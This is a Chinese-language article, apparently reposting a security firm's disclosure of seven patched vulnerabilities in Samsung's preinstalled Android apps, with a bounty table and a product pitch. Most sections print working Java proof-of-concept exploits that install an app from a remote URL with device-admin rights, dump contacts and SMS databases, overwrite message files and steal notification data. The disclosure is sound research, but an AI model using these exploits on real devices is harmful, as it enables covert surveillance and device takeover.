黑客可以利用三星预装的应用程序来监视用户

黑客可以利用三星预装的应用程序来监视用户

三星预装的 Android 应用程序中披露了多个严重的安全漏洞,如果成功利用这些漏洞,攻击者可能会在未经用户同意的情况下访问个人数据并控制设备。

“这些漏洞的影响可能允许攻击者访问和编辑受害者的联系人、电话、短信/彩信,安装具有设备管理员权限的任意应用程序,或代表系统用户读写任意文件,这可能会更改设备的设置,”移动安全初创公司 Oversecured 的创始人 Sergey Toshin在周四发布的一份分析报告中表示

Toshin 于 2021 年 2 月向三星报告了这些缺陷,随后制造商发布补丁,作为其 4 月和 5 月的月度安全更新的一部分。

七个漏洞列表如下:

  • CVE-2021-25356 – 托管供应中的第三方身份验证绕过
  • CVE-2021-25388 – Knox Core 中的任意应用程序安装漏洞
  • CVE-2021-25390 – PhotoTable 中的意图重定向
  • CVE-2021-25391 – 安全文件夹中的意图重定向
  • CVE-2021-25392 – 可以访问DeX 的通知策略文件
  • CVE-2021-25393 – 可以作为系统用户对任意文件进行读/写访问(影响设置应用程序)
  • CVE-2021-25397 – TelephonyUI 中的任意文件写入

这些漏洞的影响意味着它们可能被利用来安装任意第三方应用程序、授予设备管理员权限以删除其他已安装的应用程序或窃取敏感文件、以系统用户身份读取或写入任意文件,甚至执行特权操作。

在概念验证 (PoC) 演示中,Oversecured 确定可以利用 PhotoTable 和 Secure Folder 中的意图重定向缺陷来劫持应用程序访问 SD 卡和读取存储在手机中的联系人的权限。同样,通过利用 CVE-2021-25397 和 CVE-2021-25392,攻击者可以用恶意内容覆盖存储 SMS/MMS 消息的文件,并从用户通知中窃取数据。

建议三星设备所有者应用该公司的最新固件更新,以避免任何潜在的安全风险。

漏洞详情

这些漏洞可能导致违反 GDPR,我们很高兴能够帮助三星及时识别和修复这些漏洞。

如果您是开发人员或应用程序所有者,您可以将 Oversecured 集成到您的 CI/CD 中,以主动保护您的应用程序免受这些漏洞的侵害。CI/CD 过程也可以使用插件完全自动化。我们的解决方案将持续监控您的应用程序,并在检测到任何新漏洞时提醒您。

Quick Start开始试用,开始保护您的应用程序,或者您可以在此处联系我们以了解更多信息并获取演示。

如果您是一名安全研究人员,您可以使用 Oversecured 的移动应用程序扫描器扫描这些错误,从而自动执行错误检测过程。您所要做的就是注册并上传您的应用程序文件。我们的扫描仪将负责其余的工作。

漏洞详情列表:

CVESVE受影响的应用描述奖励金额
CVE-2021-25388SVE-2021-20636Knox Core (com.samsung.android.knox.containercore)安装任意应用程序和设备范围内的任意文件盗窃1720 美元
CVE-2021-25356SVE-2021-20733托管配置 (com.android.managedprovisioning)安装第三方应用程序并授予他们设备管理员权限7000 美元
CVE-2021-25391SVE-2021-20500安全文件夹 (com.samsung.knox.securefolder)访问任意*内容提供商1050 美元
CVE-2021-25393SVE-2021-20731SecSettings (com.android.settings)获得对任意*内容提供者的访问权限导致以系统用户身份(UID 1000)对任意文件进行读/写访问5460 美元
CVE-2021-25392SVE-2021-20690三星 DeX 系统 UI (com.samsung.desktopsystemui)能够窃取通知策略配置330 美元
CVE-2021-25397SVE-2021-20716TelephonyUI (com.samsung.android.app.telephonyui)(覆盖)将任意文件写入为 UID 10014850 美元
CVE-2021-25390SVE-2021-20724PhotoTable (com.android.dreams.phototable)意图重定向导致访问任意内容提供者280 美元

Knox Core 中的漏洞

首先,我们扫描了 Knox Core 应用程序,发现从 SD 卡安装了一个应用程序:

黑客可以利用三星预装的应用程序来监视用户

事实证明,此功能是通过导出的服务激活的com.samsung.android.knox.containercore.provisioning.DualDARInitService

<service android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService" android:exported="true">
   <intent-filter>
       <action android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService"/>
   </intent-filter>
</service>

攻击者可以通过dualdar-config-client-location参数传递任意 URI,该参数将被复制到/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk,这是一个世界可读的位置。

之后,将启动应用程序安装过程:

private void proceedPrerequisiteForDualDARWithWPCOD(Intent intent) {
   if (intent.getBooleanExtra("DUAL_DAR_IS_WPCOD", false)) {
       int intExtra = intent.getIntExtra("android.intent.extra.user_handle", UserHandle.myUserId());
       Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");
       String string = bundleExtra.getString("dualdar-config-client-package", null);
       if (!TextUtils.isEmpty(string)) {
           DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD 3rd-party crypto");
           String string2 = bundleExtra.getString("dualdar-config-client-location"); // attacker-controlled URI
           DDLog.m4d("KNOXCORE::DualDARInitService", "DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);
           if (TextUtils.isEmpty(string2)) {
               notifyMPError(5);
           } else if (string2.startsWith("file://")) {
               String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";
               try {
                   // attacker-controlled file is copied to the public location
                   ((SemRemoteContentManager) this.mContext.getSystemService("rcp")).copyFile(intExtra, string2.replaceFirst("^file://", ""), intExtra, str);
                   installPackageTask(intent, string, str); // and then installed
               } catch (RemoteException unused) {
                   DDLog.m3e("KNOXCORE::DualDARInitService", "copyFile failed.");
                   notifyMPError(5);
               }
           } else if (string2.startsWith("https://")) {
               downloadPackageTask(intent, string, string2);
           } else {
               notifyMPError(5);
           }
       } else {
           DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD native crypto");
           startRunnerTask(intent);
       }
   }
}

安装任意应用程序的概念证明

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   try {
       Bundle bundle = new Bundle();
       bundle.putString("dualdar-config-client-package", "test.exampleapp");
       bundle.putString("dualdar-config-client-location", Uri.fromFile(copyFile()).toString());

       Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.putExtra("DualDARServiceEventFlag", 500);
       i.putExtra("DUAL_DAR_IS_WPCOD", true);
       i.putExtra("DUAL_DAR_PARAMS", bundle);
       startService(i);
   }
   catch (Throwable th) {
       throw new RuntimeException(th);
   }
}

private File copyFile() throws Throwable {
   File file = new File(getApplicationInfo().dataDir, "app.apk");

   InputStream i = getAssets().open("app-release.apk");
   OutputStream o = new FileOutputStream(file);
   IOUtils.copy(i, o);
   i.close();
   o.close();
   return file;
}
}

SMS/MMS 文件盗窃的概念证明

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   startDump();

   try {
       File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");

       Bundle bundle = new Bundle();
       bundle.putString("dualdar-config-client-package", "test.exampleapp");
       bundle.putString("dualdar-config-client-location", Uri.fromFile(dbPath).toString());

       Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.putExtra("DualDARServiceEventFlag", 500);
       i.putExtra("DUAL_DAR_IS_WPCOD", true);
       i.putExtra("DUAL_DAR_PARAMS", bundle);
       new Thread(() -> {
           for(int j = 1; j < 1000; j++) {
               startService(i);
               try {
                   Thread.sleep(500);
               } catch (Throwable th) {
                   throw new RuntimeException(th);
               }
           }
       }).start();
   }
   catch (Throwable th) {
       throw new RuntimeException(th);
   }
}

private void startDump() {
   final String path = "/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk";

   ContentValues values = new ContentValues();
   values.put("_data", path);
   Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

   new Thread(new Runnable() {
       public void run() {
           while (true) {
               try {
                   InputStream i = getContentResolver().openInputStream(uri);
                   String data = IOUtils.toString(i);
                   Log.d("evil", data);
                   i.close();
               } catch (Throwable th) {
               }
           }
       }
   }).start();
}

PoC 的工作原理如下:

  1. 启动服务将所需文件复制到公共位置(由于这是一个无效的APK文件,安装错误后会立即删除),
  2. 然后,client_downloaded_knox_app.apk读取文件。

注意:我们使用MediaStore.Files是因为最新的 Android 版本不允许直接读取属于其他应用程序的外部存储,但这可以使用 Android Media Content Provider 绕过。

托管供应中的漏洞

Managed Provisioning 是所有三星设备上预装的应用程序,用于企业设备定制

再一次,在测试 Managed Provisioning 时,我们发现了从公共目录安装应用程序的漏洞:

黑客可以利用三星预装的应用程序来监视用户

最初的应用程序是由 AOSP 开发的,它有安全检查来验证任何交互的授权。三星修改了托管配置应用程序,以添加与其生态系统和 Knox Core 交互所需的功能。

因此,在三星应用程序中,可以通过设置值来绕过此检查com.samsung.knox.container.requestId

int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);
if (intExtra > 0) {
   ProvisionLogger.logw("Skipping verifyActionAndCaller"); // the bypass
} else if (!verifyActionAndCaller(intent, str)) {
   return;
}

用于安装自定义应用程序并为其授予设备管理员权限的概念证明

这个概念证明是通过复制ProvisioningParams.Builder类的代码并传递配置托管供应所需的标准参数来构建的,其中包括:

byte[] hash = Base64.decode("5VNuCGDQygiVg4S86BKhySBVJlOpDZs3YYYsJKIOtCQ", 0);
PackageDownloadInfo.Builder infoBuiler = PackageDownloadInfo.Builder.builder()
       .setLocation("https://redacted.s3.amazonaws.com/app-release.apk")
       .setPackageChecksum(hash)
       .setSignatureChecksum(hash);

ProvisioningParams.Builder builder = ProvisioningParams.Builder.builder()
       .setSkipUserConsent(true)
       .setDeviceAdminComponentName(new ComponentName("test.exampleapp", "test.exampleapp.MyReceiver"))
       .setDeviceAdminPackageName("test.exampleapp")
       .setProvisioningAction("android.app.action.PROVISION_MANAGED_DEVICE")
       .setDeviceAdminDownloadInfo(infoBuiler.build());

ProvisioningParams params = builder.build();

Intent i = new Intent("com.android.managedprovisioning.action.RESUME_PROVISIONING");
i.setClassName("com.android.managedprovisioning", "com.android.managedprovisioning.preprovisioning.PreProvisioningActivity");
i.putExtra("provisioningParams", params);
i.putExtra("com.samsung.knox.container.requestId", 1);
i.putExtra("com.samsung.knox.container.configType", "knox-do-basic");
startActivity(i);

打开应用程序后,发生了以下情况:

  1. Managed Provisioning 被迫从攻击者指定的链接下载恶意应用程序
  2. 步骤 1 中安装的恶意应用程序被设置为具有任意权限的设备管理员
  3. 启动了一个过程,该过程将删除安装在同一设备上的所有其他应用程序。

攻击看起来是这样的:

安全文件夹中的漏洞

安全文件夹是预装在三星设备上的安全文件存储应用程序。它拥有大量权限,攻击者可以通过利用在访问任意*内容提供程序中发现的漏洞来拦截这些权限:

黑客可以利用三星预装的应用程序来监视用户

一旦攻击者收到他们发送的意图,他们就能够拦截权限。

作为 PoC,我们拦截了读/写联系人的权限:

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   Intent i = new Intent();
   i.setClassName("com.samsung.knox.securefolder", "com.samsung.knox.securefolder.containeragent.ui.settings.KnoxSettingCheckLockTypeActivity");
   i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
   i.setData(ContactsContract.RawContacts.CONTENT_URI);
   startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
   super.onActivityResult(requestCode, resultCode, data);

   dump(data.getData());
}

private void dump(Uri uri) {
   Cursor cursor = getContentResolver().query(uri, null, null, null, null);
   if (cursor.moveToFirst()) {
       do {
           StringBuilder sb = new StringBuilder();
           for (int i = 0; i < cursor.getColumnCount(); i++) {
               if (sb.length() > 0) {
                   sb.append(", ");
               }
               sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
           }
           Log.d("evil", sb.toString());
       }
       while (cursor.moveToNext());
   }
}

SecSettings 中的漏洞

SecSettings 是三星预装的设置应用程序。

从 UID 1000 ( system)读取和写入任意文件的漏洞由两个组件组成:

  • 访问任意*内容提供者
  • com.sec.imsservice应用程序中利用不安全的 FileProvider
黑客可以利用三星预装的应用程序来监视用户

这个链是唯一可能的,因为两个应用程序都使用在它们的AndroidManifest.xml: 中指定的相同共享 UID android:sharedUserId="android.uid.system"。事实上,这个设置意味着两个不同的应用程序可以完全共享所有资源,并且可以完全访问彼此的组件。SecSettings 中的漏洞是 Google 的。它已报告给 Android VDP。奖金为2000美元。我们将在第 2 部分文章中披露此问题的详细信息。

三星 DeX 系统 UI 中的漏洞

此漏洞允许攻击者从用户通知中窃取数据,这些数据通常包括 Telegram、Google Docs 文件夹、三星电子邮件和 Gmail 收件箱的聊天描述,以及来自其他应用程序通知的信息。

攻击者还可以激活该功能在 SD 卡上的全局可读目录中创建备份:

黑客可以利用三星预装的应用程序来监视用户

由于文件在创建备份后立即被删除,因此我们添加了创建备份副本的功能以防止这种情况发生。

概念证明:

final File root = Environment.getExternalStorageDirectory();
final File policyFile = new File(root, "notification_policy.xml");
final File backupCopy = new File(root, "backup");

Intent i = new Intent("com.samsung.android.intent.action.REQUEST_BACKUP_NOTIFICATION");
i.setClassName("com.samsung.desktopsystemui", "com.samsung.desktopsystemui.NotificationBackupRestoreManager$NotificationBnRReceiver");
i.putExtra("SAVE_PATH", root.getAbsolutePath());
i.putExtra("SESSION_KEY", "not_empty");
sendBroadcast(i);

new Thread(() -> {
   while (true) {
       if(policyFile.exists()) {
           try {
               InputStream i = new FileInputStream(policyFile);
               OutputStream o = new FileOutputStream(backupCopy);
               IOUtils.copy(i, o);
               i.close();
               o.close();
           } catch (Throwable th) {
               throw new RuntimeException(th);
           }
       }
   }
}).start();

TelephonyUI 中的漏洞

接收器com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver被导出。它将文件从 中指定的 URL 保存到 中指定photoring_uri的路径down_file。这是由过度安全的 Android 扫描仪检测到的:

黑客可以利用三星预装的应用程序来监视用户

唯一的要求是服务器响应的内容类型应该是image/*or video/*。因此,我们使用文件名test.mp4,Amazon S3 自动指定video/mp4响应中的内容类型。

概念证明:

File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");

Intent i = new Intent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");
i.setClassName("com.samsung.android.app.telephonyui", "com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver");
i.putExtra("photoring_uri", "https://redacted.s3.amazonaws.com/test.mp4");
i.putExtra("down_file", dbPath.getAbsolutePath());
sendBroadcast(i);

结果,带有 SMS/MMS 消息的文件被攻击者控制的内容覆盖。

PhotoTable 中的漏洞

在 PhotoTable 中,我们发现了Intent redirection,它允许对内容提供者的访问被拦截:

黑客可以利用三星预装的应用程序来监视用户

我们利用该漏洞劫持了访问 SD 卡的权限。这是概念证明:

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
   handle(getIntent());
}

protected void onNewIntent(Intent intent) {
   super.onNewIntent(intent);
   handle(intent);
}

private void handle(Intent intent) {
   if("evil".equals(intent.getAction())) {
       String uri = MediaStore.Images.Media.insertImage(getContentResolver(),
               Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888),
               "Title_1337",
               "Description_1337");
       Log.d("evil", "Result: " + uri);
   }
   else {
       Intent next = new Intent("evil", MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
       next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
       next.setClass(this, getClass());

       Intent i = new Intent();
       i.setClassName("com.android.dreams.phototable", "com.android.dreams.phototable.PermissionsRequestActivity");
       i.putExtra("previous_intent", next);
       i.putExtra("permission_list", new String[0]);
       startActivity(i);
   }
}

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注